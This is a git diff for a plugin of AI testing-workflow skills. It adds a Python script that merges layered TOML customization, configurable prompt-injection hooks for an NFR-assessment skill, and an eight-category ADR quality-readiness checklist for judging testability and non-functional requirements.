+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-framework/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-framework/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-framework/steps-c/step-03-scaffold-framework.md b/plugins/bmad/skills/bmad-testarch-framework/steps-c/step-03-scaffold-framework.md
index 2c446a9..96f7805 100644
--- a/plugins/bmad/skills/bmad-testarch-framework/steps-c/step-03-scaffold-framework.md
+++ b/plugins/bmad/skills/bmad-testarch-framework/steps-c/step-03-scaffold-framework.md
@@ -2,7 +2,7 @@
 name: 'step-03-scaffold-framework'
 description: 'Create framework scaffold with adaptive orchestration (agent-team, subagent, or sequential)'
 nextStepFile: './step-04-docs-and-scripts.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 outputFile: '{test_artifacts}/framework-setup-progress.md'
 ---
 
@@ -156,7 +156,7 @@ Create `playwright.config.ts` or `cypress.config.ts` with:
 
 - **Timeouts**: action 15s, navigation 30s, test 60s
 - **Base URL**: env fallback (`BASE_URL`)
-- **Artifacts**: retain-on-failure (trace/screenshot/video)
+- **Artifacts**: trace `retain-on-failure-and-retries`, screenshot `only-on-failure`, video `retain-on-failure`
 - **Reporters**: HTML + JUnit + console
 - **Parallelism**: enabled (CI tuned)
 
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/SKILL.md b/plugins/bmad/skills/bmad-testarch-nfr/SKILL.md
index 13776f6..55984a9 100644
--- a/plugins/bmad/skills/bmad-testarch-nfr/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-nfr/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-nfr
 description: 'Assess NFRs like performance security and reliability. Use when the user says "lets assess NFRs" or "I want to evaluate non-functional requirements"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-nfr --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-nfr --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/customize.toml b/plugins/bmad/skills/bmad-testarch-nfr/customize.toml
new file mode 100644
index 0000000..3ef1cad
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-nfr
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-nfr.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-nfr.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
